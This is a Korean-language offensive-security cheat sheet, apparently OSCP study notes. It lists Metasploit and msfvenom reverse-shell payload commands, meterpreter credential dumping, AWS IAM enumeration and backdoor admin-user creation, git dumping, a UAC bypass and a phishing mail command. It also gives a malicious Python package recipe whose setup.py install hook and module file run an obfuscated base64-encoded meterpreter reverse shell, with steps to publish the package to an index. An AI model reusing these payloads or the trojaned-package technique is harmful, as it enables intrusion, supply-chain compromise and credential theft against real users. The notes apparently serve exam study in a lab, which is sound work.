search type:auxiliary ssh
search Apache 2.4.49

# payload 검색
show payloads
set payloads <번호>

# 사용 및 세팅
use <번호>
show options
set <option> <value> / unset <option>
services -p 445 --rhosts # db_name으로 정보가 있다면 사용 가능
run -j

# 공격 성공하여 얻은 정보/세션들
creds
sessions / sessions -i <번호>

# nc 안될 때, multi/handler 사용
use multi/handler
set payload <공격에 사용한 shell 이름>
set LHOST <kali_ip>
set LPORT <kali_port>

# route 관련
route add <subnet> <sessionId>
route add 172.16.1.0/24 12

route print
route flush

# auto
use multi/manage/autoroute
set session 1
run

# 포트포워딩
portfwd add -l 3389 -p 3389 -r 172.16.000.000

# auto :1080
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set VERSION 5
run -j

# session background
Ctrl+z 

msfvenom

https://github.com/puckel/Cheatsheets/blob/master/Cheatsheet_MetasploitPayloads.txt 참고

# payloads 리스트 출력
msfvenom -l payloads --platform windows --arch x64
msfvenom -f --list
msfvenom -p <> --list-options

# payload 생성
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.119.2 LPORT=443 -f exe -o nonstaged.exe

# web reverse shell
msfvenom -p php/reverse_php LHOST=192.168.45.241 LPORT=9999 -f raw -o php_reverse_9999.pHP
cat php_reverse_9999.pHP | pbcopy && echo '<?php ' | tr -d '\n' > php_reverse_9999.pHP && pbpaste >> php_reverse_9999.pHP

# shellcode 생성
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.45.222 LPORT=443 -f python -b "\x00\x20" -v shellcode

meterpreter

multi/handler 혹은 meterpreter 가 포함된 reverse shell로 공격하여 쉘 얻을 시

# shell 얻기
shell

# 기존 명령어 사용
l<linux명령어> / lpwd / lcat ...

# 파일 관련
download <경로>
upload <칼리경로> <피해자경로>

# 유저 얻기
getuid

# 시스템 정보 얻기
sysinfo

# 권한상승 / SeImpersonatePrivilege 권한 필요
getsystem

# 프로세스 보기
ps

# 환경변수 보기
getenv <변수명>

# 리버스 쉘 .exe 프로세스를 특정 프로세스 하위로 마이그레이션
migrate <위장할PID>

# 프로세스 만들기
execute -H -f notepad

# background
bg

# kiwi 사용
load kiwi
lsa_dump_sam

AWS

S3 Enum

“public”, “private”, “dev”, “prod”, “development”, “production” 는 자주 사용되는 용어

# cloud-enum 사용
cloud_enum -k <aws s3 name> --quickscan --disable-azure --disable-gcp
cloud_enum -kf /tmp/keyfile.txt --quickscan --disable-azure --disable-gcp 

AWS-CLI

# 자격증명
aws configure --profile attacker
or
vi ~/.aws/credentials
aws_access_key_id=<AccessKeyID>
aws_secret_access_key=<SecretAccessKey>
aws_session_token=<SessionToken>

# 자격증명 테스트 - CloudTrail에 기록이 남음
aws --profile attacker sts get-caller-identity

# ec2 이미지 출력
aws --profile attacker ec2 describe-images --executable-users all --filters "Name=name,Values=*test*"

# EBS 스냅샷 출력
aws --profile attacker ec2 describe-snapshots --filters "Name=description,Values=*test*"

# VPC 출력
aws --profile attacker ec2 describe-vpcs

# S3 출력 및 싱크
aws --profile attacker s3 ls <Bucket>
aws --profile attacker s3 cp s3://<버킷 이름>/<파일 경로> /dev/stdout
aws --profile attacker s3 sync s3://staticcontent-sw5h88skyrqng5ba ./s3_sync/

# IAM 생성
aws --profile attacker iam create-user --user-name enum
aws --profile attacker iam create-access-key --user-name enum

# IAM 정책 추가
aws --profile CompromisedJenkins iam attach-user-policy  --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# IAM 권한 부여
aws --profile attacker iam put-user-policy \
--user-name enum \
--policy-name s3-read \
--policy-document file://policy-s3-read.json
aws --profile attacker iam list-user-policies --user-name enum

# lambda 함수 ARN 생성 - 권한 부족으로 에러 발생 시 유저 네임을 얻을 수 있다.
aws --profile target lambda invoke --function-name arn:aws:lambda:us-east-1:123456789012:function:nonexistent-function outfile

# 유저 인라인 정책 및 관리 정책 출력
aws --profile target iam list-user-policies --user-name clouddesk-plove
aws --profile target iam list-attached-user-policies --user-name clouddesk-plove

# 그룹 인라인 정책 및 관리 정책 출력
aws --profile target iam list-group-policies --group-name support
aws --profile target iam list-attached-group-policies --group-name support

# 정책 버전 및 내용 출력
aws --profile target iam list-policy-versions --policy-arn "arn:aws:iam::aws:policy/<policy-name>"
aws --profile target iam get-policy-version --policy-arn arn:aws:iam::aws:policy/<policy-name> --version-id v1

# 속한 그룹 출력
aws --profile target iam list-groups-for-user --user-name clouddesk-plove

# iam 요약
aws --profile target iam get-account-summary

# iam 나열
aws --profile target iam list-<users/groups/roles>

# 연결된 관리 정책 나열
# list-user-policies, get-user-policy, list-group-policies, get-group-policy, list-role-policies, get-role-policy, list-attached-user-policies, list-attached-group-policies, list-attached-role-policies
aws --profile target iam list-policies --scope Local --only-attached

# IAM 구성 스냅샷
aws --profile target iam get-account-authorization-details --filter LocalManagedPolicy
# 권한 부여 예시
# 0* 1*  오류 여부를 파악해 블라인드 테스트로 ID값을 얻을  있음
{
     "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "AllowResourceAccount",
            "Effect": "Allow",
            "Action": [
                "s3:ListBucket",
                "s3:GetObject"
            ],
            "Resource": "*",
            "Condition": {
                "StringLike": {"s3:ResourceAccount": ["0*"]}
            }
        }
    ]
}

JMESPath

# json parsing
aws --profile target iam get-account-authorization-details --filter User Group --query "{Users: UserDetailList[?Path=='/admin/'].UserName, Groups: GroupDetailList[?Path=='/admin/'].{Name: GroupName}}"

pacu

# pacu 실행
pacu

# aws profile 주입
import_keys attacker

# 사용 가능 모듈
ls

# 다른 계정 찾기
run iam__enum_roles --word-list /tmp/role-names.txt --account-id 123456789012

# ec2 나열
run ec2__enum

Git

# .git 폴더 있는 곳에서
# 실행
gitleaks detect
git status

# 로그 보기
git log

# 깃 해시로 보기
git show <hash>

# git dump
pip install git-dumper
git-dumper http://victim_site/.git dev

Etc

RDP 접근

xfreerdp /drive:test,/home/kali/offsec /u:nadine /p:123abc /v:192.168.145.227

# Remote Desktop Users 또는 Remote Management Users  권한 없는 유저 접근 법
runas /user:user cmd
runas /user:domain\user cmd

SSH

ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" User@IP

# proxychain
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' database_admin@10.4.50.215

# scp
## local -> remote
scp [파일명1] [파일명2] [원격지_id]@[원격지_ip]:[받는 위치]
scp -r [디렉터리 이름] [원격지_id]@[원격지_ip]:[보낼 경로]

## remote -> local
scp [원격지_id]@[원격지_ip]:[원본 위치 파일][원본 위치 파일] [받는 위치]
scp -r [원격지_id]@[원격지_ip]:[디렉터리 위치] [받을 경로]

FTP 접근

# 기본적인 FTP 접근 
ftp <IP> 

# 파일 디렉토리 탐색 
pwd # 현재 작업 디렉토리 표시 
cd <dir_name> # 특정 디렉토리 이동 
ls # 현재 디렉토리 파일 및 폴더 목록 표시 (dir도 가능) 

# 파일 전송 
get <file_name> # 로컬에 파일 다운로드 
mget <file1 file2 ..> # 로컬에 다수 파일 다운로드 
put <file_name> # 서버에 파일 업로드 
mput <file1 file2 ...> # 서버에 다수 파일 업로드 

# 파일 조작 
delete  

Netcat

nc -nvlp <port>
nc <ip> <port>

About Python

# python 버전 변경
pyenv versions

## 디렉토리 별 버전 다르게 세팅
pyenv local {version}
## 쉘 별 버전 다르게 세팅
pyenv shell {version}

# Python server start
python3 -m http.server 80

# Window
iwr -uri http://192.168.48.3/adduser.exe -Outfile adduser.exe

# Linux
curl http://192.168.48.3/adduser.exe

# get shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

PIP

# pip 클라이언트를 구성
mkdir -p ~/.config/pip/
vi ~/.config/pip/pip.conf

[global]
index-url = http://pypi.offseclab.io
trusted-host = pypi.offseclab.io

python -m pip config set global.break-system-packages true
# 다운로드 시도
pip download hackshort-util

# 악성 패키지 생성
mkdir <패키지 명>
cd <패키지 명>
## 설치 스크립트 작성
vi setup.py

from setuptools import setup, find_packages
setup(
    name='<패키지 명>',
    version='1.1.4',
    packages=find_packages(),
    classifiers=[],
    install_requires=[],
    tests_require=[],
)
## Python의 경우 - 처리 불가로 _로 대체하여 폴더 생성
mkdir hackshort_util
touch hackshort_util/__init__.py

## 소스 배포 및 설치
python3 ./setup.py sdist
pip install ./dist/hackshort-util-1.1.4.tar.gz

설치 중 명령 실행

# setup.py
from setuptools import setup, find_packages
from setuptools.command.install import install

class Installer(install):
    def run(self):
        install.run(self)
        with open('/tmp/running_during_install', 'w') as f:
            f.write('This code was executed when the package was installed')
	    #리버스 쉘 msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST= LPORT=
	    exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LAzEQPW9+RW5JMIZ2G2striDiQaQI1puI7Cajhs0mS5LqWvG/25DiZYb35s2bDzOMPiQcveoh8b01He/aCEvJYwo7lXgyA6A3H/CEjcOhde9A5zO2RlUK34dYxaY0i5JozY94+3Bz/7p9ery93rCsE8o7BypRShaiXlyI+XktJOFSrlYsK7oAbY8qmBSMKVvn2SJagJGeMWSbspLYubFVPSVXd4RHEUB9UsnY8+wF6eaILUNfH8YCtuCoZpf2YKdP/qunhWYIJlA0Xy00KD+MAWKk5QGiW8pMashK/kMiWcdfhv4AjN1e1Q==')[0])))

setup(
	name='<패키지 명>',
	version='1.1.4',
	packages=find_packages(),
	classifiers=[],
	install_requires=[],
	tests_require=[],
	cmdclass={'install': Installer}
)

런타임 중 명령 실행

# utils.py / __init__.py 있는 곳에서
import time
import sys

def standardFunction():
        pass

def __getattr__(name):
        pass
        return standardFunction

def catch_exception(exc_type, exc_value, tb):
    while True:
        time.sleep(1000)

sys.excepthook = catch_exception

#리버스 쉘 msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST= LPORT=
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LAzEQPW9+RW5JMIZ2G2striDiQaQI1puI7Cajhs0mS5LqWvG/25DiZYb35s2bDzOMPiQcveoh8b01He/aCEvJYwo7lXgyA6A3H/CEjcOhde9A5zO2RlUK34dYxaY0i5JozY94+3Bz/7p9ery93rCsE8o7BypRShaiXlyI+XktJOFSrlYsK7oAbY8qmBSMKVvn2SJagJGeMWSbspLYubFVPSVXd4RHEUB9UsnY8+wF6eaILUNfH8YCtuCoZpf2YKdP/qunhWYIJlA0Xy00KD+MAWKk5QGiW8pMashK/kMiWcdfhv4AjN1e1Q==')[0])))

악성 패키지 게시

# 실제는 공개 Python 패키지 인덱스에 계정 만들어서 하면 됨
# ~/.pypirc
[distutils]
index-servers = offseclab 

[offseclab]
repository: http://pypi.offseclab.io/
username: student
password: password   

# 업로드
python3 setup.py sdist 
pip install twine
twine upload dist/* -r offseclab

# 제거
curl -u "student:password" --form ":action=remove_pkg" --form "name=hackshort-util" --form "version=1.1.4" http://pypi.offseclab.io/

UAC Bypass

무결성이 높음이여야 UAC에 안걸리기에 sdclt.exe를 자주 이용하여 우회
우회 성공 시 kiwi를 사용할 수 있다.

OSCP에는 안나올 가능성이 크지만, 그래도 정리

# 무결성 확인
Import-Module NtObjectManager
Get-NtTokenIntegrityLevel

# msfconsole 이용해서 우회...
search UAC
use exploit/windows/local/bypassuac_sdclt

# kiwi 사용
load kiwi
help

Local simple port scan

# netscan.py / python netscan.py <ip>/24
import socket
import ipaddress
import sys

 def port_scan(ip_range, ports):
    for ip in ip_range:
        print(f"Scanning {ip}")
        for port in ports:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(.2)
            result = sock.connect_ex((str(ip), port))
            if result == 0:
                print(f"Port {port} is open on {ip}")
            sock.close()

ip_range = ipaddress.IPv4Network(sys.argv[1], strict=False)
ports = [80, 443, 8080]  # List of ports to scan

port_scan(ip_range, ports)

Kali - Window 공유

# wsgidav server open
wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/beyond/webdav/

# config.Library-ms in Window 
markdown에러로 코드는 나중에 올림

# smbserver
impacket-smbserver test . -smb2support  -username test -password test
# in window
net use m: \\192.168.45.207\test /user:test test
copy 20250219050621_BloodHound.zip m:\

Pishing Mail

sudo swaks -t daniela@beyond.com -t marcus@beyond.com --from john@beyond.com --attach @config.Library-ms --server 192.168.111.242 --body @body.txt --header "Subject: Staging Script" --suppress-data -ap